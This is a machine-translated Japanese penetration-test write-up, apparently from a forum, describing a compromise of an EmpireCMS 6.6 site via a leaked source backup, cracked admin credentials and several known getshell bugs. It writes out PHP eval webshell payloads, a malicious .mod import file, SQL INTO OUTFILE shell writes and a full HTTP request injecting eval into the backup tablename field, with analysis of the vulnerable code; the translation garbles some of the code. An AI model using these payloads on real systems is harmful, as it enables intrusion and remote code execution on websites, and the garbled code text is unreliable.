Jump to content

0x00はじめに

記事に記載されている脆弱性は脆弱性プラットフォームに提出されており、すべての悪意のある操作が復元されました

0x01ソースコードリーク

http://www.xxx.com.cn/www.zip古いルールは、ソースコードを取得し、最初にキーワードを渡して機密情報を見つけることです。

PWD

passwd

長い間パスワードを見つけた後、有効なパスワードが見つかりませんでした

最後に、robots.txtのCMSに関する情報を参照してください-Empirecms

1049983-20220119231046548-1786288951.png

クエリ後、オープンソースCMSであることがわかり、Baiduのデータテーブル構造を直接照会できます。

1049983-20220119231047077-1497293271.png

管理者のレコードテーブルはphome_enewsuserであることを知っています。ソースコードでグローバルに検索

0x02敏感な情報漏れ

1049983-20220119231047623-361966249.png

クリックして、管理者のユーザー名、パスワードハッシュ、ソルト値を取得します

1049983-20220119231048331-1213602681.png

MD5を直接解決してパスワードを取得します

1049983-20220119231048790-1787931993.png

Kite/Kiteがパスワードを取得した後、背景アドレスを見つけます。オープンソースであるため、Baiduで利用可能になります。

ディレクトリを見て、背景アドレスを変更しないでください。そうすれば、直接アクセスできます

http://www.xxx.com.cn/e/admin/1049983-20220119231049381-696251220.png

特定のバージョン番号は6.6です

0x04歴史的脆弱性

オープンソースのCMSであるため、バックグラウンドにログインした後、歴史的脆弱性は浸透の鍵です。

脆弱性を直接検索し、歴史的脆弱性の再現を開始します

1.Background-Template-Public Template-JSコールログインテンプレートGETSHELL

開始前に終了しました

1049983-20220119231049901-57051219.png

テーブル 'HDM1010482_DB.PHOME_ENEWSTEMPGROUP'良い男は存在しません、これはテーブルが削除されていますか?

2.バックエンドデータテーブルとシステムモデル-importデータベースモデルGETSHELL

empirecms 7.5および以前のバージョンのe/class/moddofun.phpファイルのloadinmod関数にセキュリティの脆弱性があります。攻撃者はこの脆弱性を使用して、任意のファイルをアップロードできます。

1049983-20220119231050490-362941107.png

新しいtest.php.modファイルをローカルに作成し、

?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');テーブル名に記入して、すぐにインポートを選択します

1049983-20220119231051019-312462932.png

別のテーブルが存在しません、GG

1049983-20220119231051578-1442159641.png

3。バックグラウンドでデータをバックアップして復元する-SQLステートメントGOTSHELLを実行

empirecms7.5および以前のバージョンのadmindbdosql.phpファイルにコードインジェクションの脆弱性があります。

つまり、背景はSQLステートメントの実行を提供します

1049983-20220119231052116-1619252372.png

サーバーMySQL構成SECURE_FILE_PRIVが正しくない限り、サーバーにファイルを書き込むことができます。

PayloadSelect '?php @eval($ _ post [123])?' Outfile 'Absolute Path/e/admin/lyy.php'サイトにファイルを書きたいので、絶対パスを知る必要があります。

エコーの実行ではないため、ショーMySQL変数を通じてパスの一部を取得できないため、渡されます

「%datadir%」のような変数を表示します。

4。データをバックアップして復元 - バックアップデータGESSHELL

empirecmsデータベースがバックグラウンドにバックアップされている場合、データベーステーブル名は確認されませんでした。データベーステーブル名を変更することにより、コードの実行を達成できます。

1049983-20220119231052753-336611202.png

任意のテーブルを選択して、バックアップとつかみを開始します

1049983-20220119231053338-13579386.png

TableNameフィールドをペイロードに変更します

@eval($ _ post [123])リクエストパッケージ

post/e/admin/ebak/phome.php http/1.1

host: www.xxx.com.cn

Content-Length: 285

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://www.xxx.com.cn

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/89.0.4389.90 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Referer: http://www.xxx.com.cn/e/admin/ebak/changetable.php?mydbname=hdm1010482_db

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: bxubwecmsdodbdata=empirectms; bxubwloginuserid=1; bxubwloginusername=kite; bxubwloginlevel=1; bxubweloginlic=empirectmslic; bxubwloginadminstyleid=1; bxubwloginrnd=f3jiuxpyexm6mwptsdug; bxubwlogincmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630

Connection:閉じます

phome=doebakmydbname=hdm1010482_dbbaktype=phpinfo()filesize=300bakline=500autoauf=1bakstru=1dbchar=gbkbakdatatype=1mypath=hdm1010482_d B_20211229152350INSERTF=fallingWaitBaktime=0Readme=autofield=tableName%5b%5d=@eval($ _ post [123])chkall=onsubmit=bf%aa%ca%bc%b1%b8%b8%b7%ddバックアップフォルダー名を取得するためのエコー

1049983-20220119231054086-2062418453.png

hdm1010482_db_20211229152350webshell connection config.php下のバックアップフォルダー

http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php getShell

1049983-20220119231054704-177478623.png

原理分析

ソースコードを手に持っているので、この抜け穴に従いました

まず、config.phpを直接検索して見つけます

1049983-20220119231055363-1660910506.png

e/admin/ebak/class/functions.phpファイルのebak_doebakでのファイル書き込み操作

1049983-20220119231055918-473218692.png

$ string='?php

\ $ b_table=\ ''。$ b_table。 '\';

'。$ d_table。'

\ $ b_baktype='。$ add [' baktype ']。';

\ $ b_filesize='。$ add [' filesize ']。';

\ $ b_bakline='。$ add [' bakline ']。';

\ $ b_autoauf='。$ add [' autoauf ']。';

\ $ b_dbname=\ ''。$ dbname。 '\';

\ $ b_stru='。$ bakstru。';

\ $ b_strufour='。$ bakstrufour。';

\ $ B_DBCHAR=\ ''。AddSlashes($ add ['dbchar'])。 '\';

\ $ b_beover='。$ beover。';

\ $ b_insertf=\ ''。addslashes($ insertf)。 '\';

\ $ b_autofield=\ '、'。addslashes($ add ['autofield'])。 '、\';

\ $ B_BAKDATATYPE='。$ BAKDATATYPE。';

? ';

$ cfile=$ bakpath。 '/'。$ add ['mypath']。 '/config.php';

writefiletext_n($ cfile、$ string);

$ d_table変数が直接スプライスされていることがわかります

writefiletext_nの書き込みを見てみましょう

1049983-20220119231056503-1658920274.png

書き込みコンテンツのフィルタリングはないので、$ d_table変数の値を制御する方法を知る必要があります

CRTL+左ボタンは上に続きます

1049983-20220119231056974-1185623944.png

$ countは$ tablenameの数、$ tablenameは$ addのtablenameの重要な値です

1049983-20220119231057466-1160161414.png

ebak_doebak関数が呼び出される場所を見つけ、$ addが$ _postであることを知っています

1049983-20220119231057961-365417953.png

彼がpostパラメーターのタブネームを処理し、2つの変数を生成したことは明らかです

$ b_tableと$ d_table、$ b_tableは二重引用符で包まれていて、使用できません

ただし、$ d_tableは二重引用符なしでラップされ、任意のフィルタリングなしで.phpファイルに直接書き込まれ、コマンドの実行が行われます

なぜ別のパラメーターではないのですか?

他のほとんどのパラメーターは、二重引用符で包まれています

二重引用符で包まれていないパラメーターはintを強制されます。STRが渡された場合、0が返されるため、合格します。

1049983-20220119231058417-1434863408.png

1049983-20220119231058936-414106818.png

1049983-20220119231059359-1015131941.png

3のフォローアップ

脆弱性4を介してサイトの実際のパスを取得した後、SQLステートメントを作成し、サイトに直接WebShellを作成しようとしました。

'?php phpinfo();'を選択しますoutfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'データベース接続エラーは爆発しましたが、ステートメントは正常に実行されましたが、書かれたコンテンツは空に置き換えられました

1049983-20220119231059860-799225780.png

正常にアクセスできますが、コンテンツなしでアクセスできます

1049983-20220119231100350-353625442.png

通常の文字を書くことができます

outfileに「テスト」を選択します/data/home/hmu072095/htdocs/e/admin/1.txt '1049983-20220119231100840-188886051.png

予備的な判断は、PHPタグがフィルタリングされ、他の書き込み方法がそれをバイパスするために試されたことです。

1.選択'? phpinfo();」 Into Outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'

2. 'スクリプト言語=' php 'phpinfo()を選択する; /script 'into outfile'/data/home/hmu072095/htdocs/e/admin/ly.php '

3. '?php @eval($ _ post [1])?' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'最後のASPスタイルのみが正常に書かれています

1049983-20220119231101266-359754484.png

アクセスしようとすることは実行できません。 LinuxでデフォルトのPHPショートタグ構成アイテムを確認すると、なくなりました。

要約

1。ターゲットサイトは、Yujian Directory Scanningツールを介してスキャンされました。ウェブサイトのバックアップファイルwww.zipが漏れており、ソースコード分析がローカルにダウンロードされたことがわかりました。

2。phpstormを介してソースコードをロードし、キーワードキー、PWD、パスワード、PassWDを検索し、関連するパスワードは見つかりませんでした。 robots.txtを介して、それがempirecmsであることがわかりました

3. Baiduを介してEmpirecmsのデータテーブル構造を検索すると、Phome_Enewsuserが管理者レコードテーブルであることがわかりました。 Phome_Enewsuserキーワードのグローバルバッチ検索により、ソースコードのWebサイト管理者のユーザー名とパスワードがリークされたことがわかりました。プレーンテキストは、MD5の復号化によって取得されました。

4.デフォルトの背景パス/管理者を入力して、背景ログインページを表示し、取得したユーザー名とパスワードを入力してバックグラウンドにログインします。

5.ウェブサイトで文を書く準備をしてください。テーブルが存在せず、シェルを書くことができないことがわかりました。

6. Webサイトで、Webサイトでは、バックグラウンドシステムテーブルとシステムテンプレートマネージデータテーブル-Importシステムテンプレート、テンプレートファイル名:test.php.mod、および保存されたデータテーブル名はphome_ecm_111です。インポートした後、テーブルは存在せず、シェルに書き込むことができないことがわかります。

test.php.mod:

?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');

7. Webサイトでは、データを実行してSQLステートメントを実行して復元し、文章を書きます。前提条件には次のことが必要です。MySQL設定Secure_File_Privは不適切であり、Webサイトの絶対パスとEmpirecms=7.5のバージョンを知る必要があります。ここでは、ウェブサイトの絶対的なパスを取得することはできず、シェルを書くことはできません。

「%datadir%」のような変数を表示します。 //ウェブサイトの絶対パスを表示します

'?php @eval($ _ post [123])?'を選択しますOutfile 'Absolute Path/e/admin/lyy.php' //文を書きます

8。empirecmsバージョン7.5および以前のバージョンがバックグラウンドでデータベースをバックアップする場合、データベーステーブル名は検証されていません。コード実行は、データベーステーブル名を変更することで実現できます。次に、Webサイトのバックグラウンド-System -Backup and Recistore Data-データの復元- 任意のテーブルを選択して、バックアップとパケットキャプチャインターセプトを開始します。バックアップディレクトリに注意してください。ディレクトリが存在しない場合、システムは自動的にディレクトリ名を生成します。パケットをキャッチしてインターセプトし、それらを変更し、リクエストを送信します。

post/e/admin/ebak/phome.php http/1.1

host: www.xxx.com.cn

Content-Length: 285

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://www.xxx.com.cn

Content-Type:アプリケーション/x-www-form-urlen

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...